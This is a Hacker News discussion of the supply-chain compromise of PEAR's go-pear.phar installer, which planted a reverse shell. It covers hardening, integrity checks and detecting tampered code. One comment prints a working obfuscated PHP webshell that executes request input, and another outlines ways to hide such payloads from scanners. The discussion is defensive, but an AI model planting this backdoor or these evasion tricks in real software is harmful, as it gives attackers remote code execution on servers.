
Pear.php.net shuts down after maintainers discover serious supply-chain attack - afshinmeh
https://arstechnica.com/information-technology/2019/01/pear-php-site-breach-lets-hackers-slip-malware-into-official-download/
======
duckerude
> The officials didn’t say when the hack of their Web server occurred or
> precisely what the malicious version of go-pear.phar did to infected
> systems.

From Twitter ([https://twitter.com/pear](https://twitter.com/pear)):

> What we know: the tainted go-pear.phar file was reported to us on 1/18 by
> the Paranoids FIRE Team. The last release of this file was done 12/20, so
> the taint occurred after that. The taint was verified by us on 1/19.

> What we know: The taint was an embedded line designed to spawn a reverse
> shell via Perl to IP 104.131.154.154. This IP has been reported to its host
> in relation to the taint.

> What we know: no other breach was identified. The install-pear-nozlib.phar
> was ok. The go-pear.phar file at GitHub was ok, and could be used as a good
> md5sum comparison for any suspect copies.

> If you downloaded go-pear.phar before 12/20, we have no concrete evidence
> you received a tainted file... but it would be prudent to check your system
> if you used go-pear.phar to perform a PEAR installation in the last several
> months.

------
mysterydip
A good reminder to run your webserver with only the privileges it needs,
including read/write permissions on the filesystem outside www and shell
execution of commands on the system.

Also not a bad idea to have some kind of file compare against a "known good"
folder of your site(s) to determine if any files have been modified or added,
such as webshells.

~~~
_cereal
For "known good" folder, a git repository may help, at least to restore a
clean version of the code.

~~~
meowface
Probably preaching to the choir here, but for those who are unaware, be sure
that .git directories are not accessible by web clients. It will lead to
source code disclosure, and if you've checked in any secrets, credential
exposure as well.

~~~
aaronmdjones
That and if the webserver can write to .git it can also invisibly modify the
history to ensure that you continue to check out the backdoored code no matter
how far you go back.

------
megous
It just shows how many people verify PGP signatures, if this was discovered
after a month.

~~~
reidrac
It doesn't look like they were signing releases until two days ago with
1.10.10.

------
erickj
Aptly timed vulnerability with this article
[https://research.swtch.com/deps](https://research.swtch.com/deps)

~~~
zozbot123
> Aptly timed vulnerability

I C what you did there
[https://www.debian.org/security/2019/dsa-4371](https://www.debian.org/security/2019/dsa-4371)

~~~
dullgiulio
Almost, you are mixing up homepage posts. You are talking about
[https://news.ycombinator.com/item?id=18958679](https://news.ycombinator.com/item?id=18958679).

------
rawfan
Thankfully nobody is using PEAR anymore. Using composer doesn't solve the
problem of blinedly pulling internet dependencies, though (as others pointed
out).

What I currently do is grepping vendor for common smells like usage of eval()
or obfuscations of the same thing after doing a composer update on a project.

~~~
lowercased
It's hard to find obfuscations of stuff. ran across this recently...

<?php
$z0=$_REQUEST[‘sort’];$q1=‘’;$c2=“wt8m4;6eb39fxl*s5/.yj7(pod_h1kgzu0cqr)aniv2”;$y3=array(8,38,15,7,6,4,26,25,7,34,24,25,7);foreach($y3
as
$h4){$q1.=$c2[$h4];}$v5=strrev(“noi”.“tcnuf”.“_eta”.“erc”);$j6=$v5(“”,$q1($z0));$j6();?>

There's no 'eval' or 'base64_decode' easy thing to grep for.

~~~
egwynn
You might be able to catch that by looking for lines with unusually high
entropy. Something like this:
[https://codereview.stackexchange.com/a/909](https://codereview.stackexchange.com/a/909)

~~~
acdha
The problem with approaches like this is that they're prone to false
positive/negatives. Take the example above — you could move more payload into
the REQUEST variable (say a Cookie header), do more of the array of numbers so
no individual token is that noteworthy, you could do something like toss that
into a wrapper so someone sees something which looks like (and may actually
be) an x509 cert or GPG public key with some misleading comment about that
being used to verify updates, toss it into an image or other “fixture” in a
test directory a la event-stream, etc.

This is a much harder problem than anything someone is going to come up with
in an HN reply on first reaction. People have been working on it for decades
but it's especially hard because once a technique becomes popular an attacker
can run offline attacks against it and not release their exploit until they've
confirmed that it's not detected.

------
ddtaylor
Does anyone know if composer ever uses PEAR?

~~~
rawfan
It doesn't.

~~~
Gigablah
Composer does support pulling packages from PEAR
([https://getcomposer.org/doc/05-repositories.md#pear](https://getcomposer.org/doc/05-repositories.md#pear)),
but through their own implementation and not go-pear.phar.

------
hjek
Are GNU/Linux distros affected?

~~~
duckerude
Only an installer on pear.php.net was compromised. I think a "proper" package
would be built from the source code, bypassing that installer.

But a more ad hoc package, like from Arch's AUR, might just fetch that
installer from pear.php.net instead. In fact, that's what the AUR package did
- it just hardcodes the URL of the installer.

The AUR package was (probably) not compromised, but perhaps only because it
happened to use the nozlib version of the installer instead of the version
that was compromised.

This is how the AUR package looked at the time:
[https://aur.archlinux.org/cgit/aur.git/tree/PKGBUILD?h=php-p...](https://aur.archlinux.org/cgit/aur.git/tree/PKGBUILD?h=php-
pear&id=54f5f3e0ce9c6a13c6ecc3f708c4128e97ce1e4e)

And this is how it looks now:
[https://aur.archlinux.org/cgit/aur.git/tree/PKGBUILD?h=php-p...](https://aur.archlinux.org/cgit/aur.git/tree/PKGBUILD?h=php-
pear)

The old PKGBUILD does have a hash, but I don't know if it was obtained from a
trusted source. So I would guess that if it had used the compromised
installer, and the installer was compromised after the PKGBUILD was updated to
use that release, it would have alerted people that the installer had been
replaced.

The new PKGBUILD uses the Github release and includes a PGP key.

------
aboutruby
I'm not doing PHP anymore, but never heard of PEAR, everybody seems to use
Composer since quite a while. Seems like the transition happened in 2014-2015.

------
Haga
If a company does not invest in open source and uses it - it has to invest
into open source to kee using it. Well at least it's under the security budget
and doesn't look like a voluntarily paid tax anymore.

------
ccnafr
This article is outdated. Check the PEAR Twitter profile for new information.

It would be nice if journalists would keep up with the things they report on.

~~~
ceejayoz
It would be nice if you'd highlight _what_ is outdated rather than a vague
assertion and a "go look on Twitter".

~~~
geekamongus
Maybe even provide a link to the Twitter profile.

